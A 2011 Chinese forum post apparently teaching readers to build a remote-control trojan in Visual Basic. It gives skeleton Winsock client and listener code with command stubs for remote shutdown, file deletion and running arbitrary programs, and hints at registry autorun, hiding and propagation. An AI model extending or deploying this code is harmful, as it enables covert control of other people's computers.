一键打卡 每日打卡 龙鳞魔堡 金豆锻造 荣誉胸章 海底寻宝 非诚勿扰 虚拟刮奖 杂货道具 好友印象 心情随笔 中华银行 家族部落 积分兑换 图片上传 图片压缩 在线翻译 在线查毒
发表新帖 回帖
No.223124
👹 494063570
  

浅谈用VB编写木马程序

中华游戏网 cnyouw写于:中华游戏网-CNYOUW 👹会员:494063570 🕘时间:2011-09-04 15:47 👀围观:11070人 💬回复:0
---- BO又称“特洛伊木马”,是在美国一次黑客技术讨

论会上由一个黑客组织推出的。它其实是一种客户机/服

务器程序,其利用的原理就是:在本机直接启动运行的

程序拥有与使用者相同的权限。因此如果能够启动服务

器端(即被攻击的计算机)的服务器程序,就可以使用

相应的客户端工具客户程序直接控制它了。下面来谈谈

如何用VB来实现它。
该隐藏帖已经发布超过60天,已自动取消隐藏功能,无需回复即可查看!

----
使用VB建立两个程序,一个为客户端程序Client,一

个为服务器端程序systry。

---- 在Client工程中建立一个窗体,加载WinSock控件,

称为tcpClient,协议选择TCP,再加入两个文本框,用以

输入服务器的IP地址或服务器名,然后建立一个按钮,

按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()


    If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
        MsgBox ("
请输入主机名或主机IP地址。
")
        Exit Sub
      Else
        If Len(Text1.Text) > 0 Then
            tcpClient.RemoteHost = Text1.Text
          Else
            tcpClient.RemoteHost = Text2.Text
        End If
    End If
    tcpClient.Connect
    Timer1.Enabled = True   
End Sub


---- 连接建立之后就可以使用DataArrival事件处理所收到

的数据了。

---- 在服务器端systry工程也建立一个窗体,加载

WinSock控件,称为tcpServer,协议选择TCP,在

Form_Load事件中加入如下代码:

Private Sub Form_Load()


    tcpServer.LocalPort = 1999


    tcpServer.Listen
End Sub


---- 准备应答客户端程序的请求连接,使用

ConnectionRequest事件来应答户端程序的请求,代码如

下:

Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
     If tcpServer.State < > sckClosed Then
        tcpServer.Close‘检查控件的 State 属性是否为关

闭的。
     End If     '
如果不是,在接受新的连接之前先关闭此连

接。
     tcpServer.Accept requestID
End Sub

 ---- 这样在客户端程序按下了连接按钮后,服务器端程序

的ConnectionRequest事件被触发,执行了以上的代码。

如果不出意外,连接就被建立起来了。

---- 建立连接后服务器端的程序通过DataArrival事件接收 

客户机端程序所发的指令运行既定的程序。如:把服务

器端的驱动器名、目录名、文件名等传到客户机端,客

户机端接收后用TreeView控件以树状的形式显示出来,

浏览服务器端文件目录;强制关闭或重启服务器端的计

算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端

传过来的文件名或目录名,而删除它;屏蔽热启动键;

运行服务器端的任何程序;还包括获取目标计算机屏幕

图象、窗口及进程列表;激活、终止远端进程;打开、

关闭、移动远端窗口;控制目标计算机鼠标的移动与动

作;交换远端鼠标的左右键;在目标计算机模拟键盘输

入,下载、上装文件;提取、创建、修改目标计算机系

统注册表关键字;在远端屏幕上显示消息。DataArrival

事件程序如下:

Private Sub tcpServer_DataArrival 
(ByVal bytesTotal As Long)

    Dim strData As String 
    Dim i As Long
    Dim mKey As String

tcpServer.GetData strData  
接收数据并存入
strData
    For i = 1 To Len(strData)  
 ‘分离strData中的命令

  If Mid(strData, i, 1) = "@" Then
   mKey = Left(strData, i - 1)
把命令ID号存入
mKey
 ‘把命令参数存入
strData  
strData = Right(strData, Len(strData) - i) 

            Exit For 
         End If
     Next i    
    Select Case Val(mKey)
        Case 1
            ‘
驱动器名、目录名、文件名
        Case 2
           
强制关闭服务器端的计算机


        Case 3

 
           
强制重启服务器端的计算机
        Case 4

            屏蔽任务栏窗口;
 
        Case 5
            屏蔽开始菜单;
 
        Case 6
            按照客户机端传过来的文件名或目录名,而删除

它;
 
        Case 7
            屏蔽热启动键;

        Case 8
           
运行服务器端的任何程序
 
    End Select   
End Sub
详细程序略。
 
---- 客户机端用tcpClient.SendData发命令。命令包括命

令ID和命令参数,它们用符号“@”隔开。

---- 另外,当客户机端断开与服务器端的来接后,服务器

端应用tcpServer_Close事件,来继续准备接收客户机端

的请求,其代码如下:

Private Sub tcpServer_Close()
    tcpServer.Close
    tcpServer.Listen
End Sub

---- 这就是一个最基本的特洛伊木马程序,只要你的机器

 运行了服务器端程序,那别人就可以在千里之外控制你

 的计算机。至于如何让服务器端程序运行就要发挥你的

 聪明才智了,在我的源程序中有一中方法,是修改系统

 注册表的方法。

 --- 成功的特洛伊木马程序要比这个复杂一些,还有程序

的隐藏、自动复制、传播等问题要解决。警告:千万不

 要用BO程序破坏别人的系统。

中华游戏网 cnyouw.cn中华游戏网 cnyouw
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!cnyouw.cn
快速回复
验证问题:
在大明湖畔等皇上的是谁? 正确答案:

Ctrl + Enter 快速发布

🤪为防止个别捣乱会员恶意灌水
注册会员发帖量达到 20
即可解锁快捷表情发送